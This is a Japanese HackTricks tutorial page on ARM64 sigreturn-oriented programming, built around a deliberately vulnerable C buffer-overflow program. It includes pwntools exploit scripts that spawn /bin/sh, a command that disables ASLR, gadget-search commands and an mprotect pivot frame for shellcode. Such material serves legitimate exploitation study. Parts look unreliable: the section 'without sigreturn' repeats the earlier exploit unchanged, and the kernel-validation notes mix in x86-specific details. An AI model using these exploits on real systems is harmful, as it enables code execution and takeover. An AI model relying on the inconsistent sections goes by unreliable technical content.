> [!TIP]

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Reading time: 11 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

Pwntoolsの例

この例では、脆弱なバイナリを作成し、それを悪用します。このバイナリはスタックに読み込み、その後**sigreturn**を呼び出します:

python
from pwn import *

binsh = "/bin/sh"
context.clear()
context.arch = "arm64"

asm = ''
asm += 'sub sp, sp, 0x1000\n'
asm += shellcraft.read(constants.STDIN_FILENO, 'sp', 1024) #Read into the stack
asm += shellcraft.sigreturn() # Call sigreturn
asm += 'syscall: \n' #Easy symbol to use in the exploit
asm += shellcraft.syscall()
asm += 'binsh: .asciz "%s"' % binsh #To have the "/bin/sh" string in memory
binary = ELF.from_assembly(asm)

frame = SigreturnFrame()
frame.x8 = constants.SYS_execve
frame.x0 = binary.symbols['binsh']
frame.x1 = 0x00
frame.x2 = 0x00
frame.pc = binary.symbols['syscall']

p = process(binary.path)
p.send(bytes(frame))
p.interactive()

bofの例

コード

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

void do_stuff(int do_arg){
if (do_arg == 1)
__asm__("mov x8, 0x8b; svc 0;");
return;
}


char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
do_stuff(2);
return 0;
}

コンパイルするには:

bash
clang -o srop srop.c -fno-stack-protector
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space  # Disable ASLR

エクスプロイト

このエクスプロイトは、bofを悪用して**sigreturnへの呼び出しに戻り、スタックを準備してexecve**を呼び出すために/bin/shへのポインタを用意します。

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

bofの例(sigreturnなし)

コード

c
#include <stdio.h>
#include <string.h>
#include <unistd.h>

char* vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 0x1000); // <-- bof vulnerability

return buffer;
}

char* gen_stack() {
char use_stack[0x2000];
strcpy(use_stack, "Hello, world!");
char* b = vulnerable_function();
return use_stack;
}

int main(int argc, char **argv) {
char* b = gen_stack();
return 0;
}

Exploit

セクション vdso では、オフセット 0x7b0sigreturn への呼び出しを見つけることができます:

したがって、漏洩した場合、バイナリがそれをロードしていない場合は このアドレスを使用して sigreturn にアクセスすることが可能です:

python
from pwn import *

p = process('./srop')
elf = context.binary = ELF('./srop')
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000 # ASLR disabled
binsh = next(libc.search(b"/bin/sh"))

stack_offset = 72

sigreturn = 0x00000000004006e0 # Call to sig
svc_call = 0x00000000004006e4  # svc    #0x0

frame = SigreturnFrame()
frame.x8 = 0xdd            # syscall number for execve
frame.x0 = binsh
frame.x1 = 0x00             # NULL
frame.x2 = 0x00             # NULL
frame.pc = svc_call

payload = b'A' * stack_offset
payload += p64(sigreturn)
payload += bytes(frame)

p.sendline(payload)
p.interactive()

より多くの情報はvdsoについては以下を確認してください:

Ret2vDSO

また、/bin/shのアドレスをバイパスするために、それを指すいくつかの環境変数を作成することができます。詳細については:

ASLR


sigreturnガジェットの自動発見 (2023-2025)

最新のディストリビューションでは、sigreturnトランポリンは依然としてvDSOページによってエクスポートされていますが、正確なオフセットはカーネルのバージョンやBTI(+branch-protection)やPACなどのビルドフラグによって異なる場合があります。その発見を自動化することで、オフセットのハードコーディングを防ぎます:

bash
# With ROPgadget ≥ 7.4
python3 -m ROPGadget --binary /proc/$(pgrep srop)/mem --only "svc #0" 2>/dev/null | grep -i sigreturn

# With rp++ ≥ 1.0.9 (arm64 support)
rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b"   # 0x8b = __NR_rt_sigreturn

両方のツールはAArch64エンコーディングを理解し、SROPガジェットとして使用できる候補のmov x8, 0x8b ; svc #0シーケンスをリストします。

注: バイナリがBTIでコンパイルされると、すべての有効な間接分岐ターゲットの最初の命令はbti cになります。 リンカーによって配置されたsigreturnトランポリンには、正しいBTIランディングパッドがすでに含まれているため、ガジェットは特権のないコードからも使用可能です。

ROPとのSROPのチェイニング(mprotectを介したピボット)

rt_sigreturnは、すべての汎用レジスタとpstateを制御することを可能にします。 x86の一般的なパターンは次のとおりです: 1) SROPを使用してmprotectを呼び出す、2) シェルコードを含む新しい実行可能スタックにピボットする。 同じアイデアがARM64でも機能します:

python
frame = SigreturnFrame()
frame.x8 = constants.SYS_mprotect   # 226
frame.x0 = 0x400000                # page-aligned stack address
frame.x1 = 0x2000                  # size
frame.x2 = 7                       # PROT_READ|PROT_WRITE|PROT_EXEC
frame.sp = 0x400000 + 0x100        # new pivot
frame.pc = svc_call                # will re-enter kernel

フレームを送信した後、0x400000+0x100 に生のシェルコードを含む第二段階を送信できます。AArch64PC-relative アドレッシングを使用しているため、大きな ROP チェーンを構築するよりも便利なことがよくあります。

カーネルの検証、PAC & シャドウスタック

Linux 5.16 はユーザースペースのシグナルフレームの厳格な検証を導入しました(コミット 36f5a6c73096)。カーネルは現在、以下をチェックします:

  • uc_flagsextra_context が存在する場合、UC_FP_XSTATE を含む必要があります。
  • struct rt_sigframe の予約語はゼロでなければなりません。
  • extra_context レコード内のすべてのポインタは整列されており、ユーザーアドレス空間内を指している必要があります。

pwntools>=4.10 は準拠したフレームを自動的に作成しますが、手動で構築する場合は、reserved をゼロ初期化し、本当に必要でない限り SVE レコードを省略することを確認してください。そうしないと、rt_sigreturn は戻るのではなく SIGSEGV を返します。

主流の Android 14 および Fedora 38 から、ユーザーランドはデフォルトで PAC (Pointer Authentication) と BTI が有効な状態でコンパイルされます(-mbranch-protection=standard)。SROP 自体は影響を受けません。なぜなら、カーネルは作成されたフレームから直接 PC を上書きし、スタックに保存された認証された LR をバイパスするからです。しかし、間接分岐を行う その後の ROP チェーン は、BTI 対応の命令または PAC されたアドレスにジャンプする必要があります。ガジェットを選択する際にはその点を考慮してください。

ARMv8.9 で導入されたシャドウコールスタック(すでに ChromeOS 1.27+ で有効)はコンパイラレベルの緩和策であり、SROP には干渉しません。なぜなら、戻り命令は実行されず、制御の流れはカーネルによって転送されるからです。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする